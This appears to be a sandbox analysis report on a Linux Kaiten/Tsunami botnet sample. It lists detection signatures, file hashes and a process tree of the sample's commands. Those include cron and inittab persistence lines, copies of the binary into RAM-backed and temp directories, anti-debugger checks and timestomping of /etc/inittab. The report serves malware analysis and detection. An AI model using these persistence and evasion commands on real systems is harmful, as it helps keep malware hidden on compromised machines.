Analysis

  • max time kernel
    48s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24/07/2026, 12:15

General

  • Target
    pty3
  • Size 47KB
  • Sample260724-pfcd6aythy
  • SHA256 9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Kaiten,Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty3
    /tmp/pty3
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1540
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1541
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1542
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1545
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1546
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"
          2⤵
            PID:1551
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1554
              • /bin/grep
                grep -v /tmp/pty3
                3⤵
                  PID:1555
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1552
                  • /bin/grep
                    grep /tmp/pty3
                    3⤵
                      PID:1557
                    • /bin/grep
                      grep -v "no cron"
                      3⤵
                        PID:1559
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1556
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1562
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1564
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1553
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1558
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"
                              2⤵
                                PID:1560
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1563
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1565
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1566
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1567
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1568
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1569
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1575
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1577
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty3 /dev/shm/pty3"
                                            2⤵
                                              PID:1576
                                              • /bin/cp
                                                cp -f /tmp/pty3 /dev/shm/pty3
                                                3⤵
                                                • Writes file to shm directory
                                                PID:1578
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"
                                              2⤵
                                                PID:1580
                                                • /bin/cat
                                                  cat /etc/inittab
                                                  3⤵
                                                    PID:1582
                                                  • /bin/grep
                                                    grep -v /dev/shm/pty3
                                                    3⤵
                                                      PID:1583
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1581
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        3⤵
                                                          PID:1584
                                                        • /bin/grep
                                                          grep -v "no cron"
                                                          3⤵
                                                            PID:1586
                                                          • /bin/grep
                                                            grep /dev/shm/pty3
                                                            3⤵
                                                              PID:1585
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1590
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1591
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1587
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1588
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1592
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1593
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1594
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1595
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1596
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty3 /var/tmp/pty3"
                                                                        2⤵
                                                                          PID:1597
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty3 /var/tmp/pty3
                                                                            3⤵
                                                                              PID:1598
                                                                          • /bin/sh
                                                                            sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"
                                                                            2⤵
                                                                              PID:1600
                                                                              • /bin/grep
                                                                                grep -v /var/tmp/pty3
                                                                                3⤵
                                                                                  PID:1603
                                                                                • /bin/cat
                                                                                  cat /etc/inittab
                                                                                  3⤵
                                                                                    PID:1602
                                                                                • /bin/sh
                                                                                  sh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                  2⤵
                                                                                    PID:1601
                                                                                    • /bin/grep
                                                                                      grep -v "no cron"
                                                                                      3⤵
                                                                                        PID:1606
                                                                                      • /usr/bin/crontab
                                                                                        crontab -l
                                                                                        3⤵
                                                                                          PID:1604
                                                                                        • /bin/grep
                                                                                          grep /var/tmp/pty3
                                                                                          3⤵
                                                                                            PID:1605
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            3⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:1610
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            3⤵
                                                                                              PID:1611
                                                                                          • /bin/sh
                                                                                            sh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"
                                                                                            2⤵
                                                                                              PID:1607
                                                                                            • /bin/sh
                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                              2⤵
                                                                                                PID:1608
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab2
                                                                                                  3⤵
                                                                                                    PID:1612
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                  2⤵
                                                                                                    PID:1613
                                                                                                    • /bin/rm
                                                                                                      rm -rf /etc/inittab2
                                                                                                      3⤵
                                                                                                        PID:1614
                                                                                                    • /bin/sh
                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                      2⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1615
                                                                                                      • /usr/bin/touch
                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                        3⤵
                                                                                                        • Indicator Removal: Timestomp
                                                                                                        PID:1616
                                                                                                    • /bin/sh
                                                                                                      sh -c "cp -f /tmp/pty3 /var/lock/pty3"
                                                                                                      2⤵
                                                                                                        PID:1617
                                                                                                        • /bin/cp
                                                                                                          cp -f /tmp/pty3 /var/lock/pty3
                                                                                                          3⤵
                                                                                                            PID:1618
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"
                                                                                                          2⤵
                                                                                                            PID:1620
                                                                                                            • /bin/grep
                                                                                                              grep -v /var/lock/pty3
                                                                                                              3⤵
                                                                                                                PID:1623
                                                                                                              • /bin/cat
                                                                                                                cat /etc/inittab
                                                                                                                3⤵
                                                                                                                  PID:1622
                                                                                                              • /bin/sh
                                                                                                                sh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                2⤵
                                                                                                                  PID:1621
                                                                                                                  • /bin/grep
                                                                                                                    grep -v "no cron"
                                                                                                                    3⤵
                                                                                                                      PID:1626
                                                                                                                    • /bin/grep
                                                                                                                      grep /var/lock/pty3
                                                                                                                      3⤵
                                                                                                                        PID:1625
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1624
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -
                                                                                                                          3⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          PID:1630
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -l
                                                                                                                          3⤵
                                                                                                                            PID:1632
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"
                                                                                                                          2⤵
                                                                                                                            PID:1627
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                            2⤵
                                                                                                                              PID:1628
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab2
                                                                                                                                3⤵
                                                                                                                                  PID:1631
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                                2⤵
                                                                                                                                  PID:1633
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf /etc/inittab2
                                                                                                                                    3⤵
                                                                                                                                      PID:1634
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                    2⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1635
                                                                                                                                    • /usr/bin/touch
                                                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                                                      3⤵
                                                                                                                                      • Indicator Removal: Timestomp
                                                                                                                                      PID:1636
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "cp -f /tmp/pty3 /var/run/pty3"
                                                                                                                                    2⤵
                                                                                                                                      PID:1637
                                                                                                                                      • /bin/cp
                                                                                                                                        cp -f /tmp/pty3 /var/run/pty3
                                                                                                                                        3⤵
                                                                                                                                          PID:1638
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"
                                                                                                                                        2⤵
                                                                                                                                          PID:1640
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v /var/run/pty3
                                                                                                                                            3⤵
                                                                                                                                              PID:1643
                                                                                                                                            • /bin/cat
                                                                                                                                              cat /etc/inittab
                                                                                                                                              3⤵
                                                                                                                                                PID:1642
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                              2⤵
                                                                                                                                                PID:1641
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep -v "no cron"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1646
                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                    crontab -l
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1644
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep /var/run/pty3
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1645
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -
                                                                                                                                                        3⤵
                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                        PID:1650
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -l
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1652
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1647
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1648
                                                                                                                                                            • /bin/cat
                                                                                                                                                              cat /etc/inittab2
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1651
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c "rm -rf /etc/inittab2"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1653
                                                                                                                                                                • /bin/rm
                                                                                                                                                                  rm -rf /etc/inittab2
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1654
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1655
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                                                    PID:1656

                                                                                                                                                              Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads

                                                                                                                                                                    pty3

                                                                                                                                                                    • Path /dev/shm/pty3
                                                                                                                                                                    • Size 47KB
                                                                                                                                                                    • SHA256 9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 83B
                                                                                                                                                                    • SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 113B
                                                                                                                                                                    • SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 54B
                                                                                                                                                                    • SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 142B
                                                                                                                                                                    • SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 25B
                                                                                                                                                                    • SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
                                                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                                                    tmp.68tdgA

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.68tdgA
                                                                                                                                                                    • Size 387B
                                                                                                                                                                    • SHA256 df2fda52136f81859c3635ac49a4b40f17ff12992b2c68e9b51846666494ca40
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.ajyhkm

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.ajyhkm
                                                                                                                                                                    • Size 257B
                                                                                                                                                                    • SHA256 38ff5249192b1a13c375ef0a805461bde483ecc12d2f5bfe0b261e959eb53190
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.obmcue

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.obmcue
                                                                                                                                                                    • Size 214B
                                                                                                                                                                    • SHA256 415c766fad1fb0650a0350588030855d8cae48dac646df3c86f83dc09f63e68d
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.wdHcbv

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.wdHcbv
                                                                                                                                                                    • Size 344B
                                                                                                                                                                    • SHA256 58fc280167a26f842097aa444e0e72eb3cb0cbb8a8e4806a3fbaec6621255b85
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.ygUDBt

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.ygUDBt
                                                                                                                                                                    • Size 300B
                                                                                                                                                                    • SHA256 e3051c0c27a4323bfe1e6073eaf5187d2a9d1596e5a9651282b00b5b4e195ef6
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH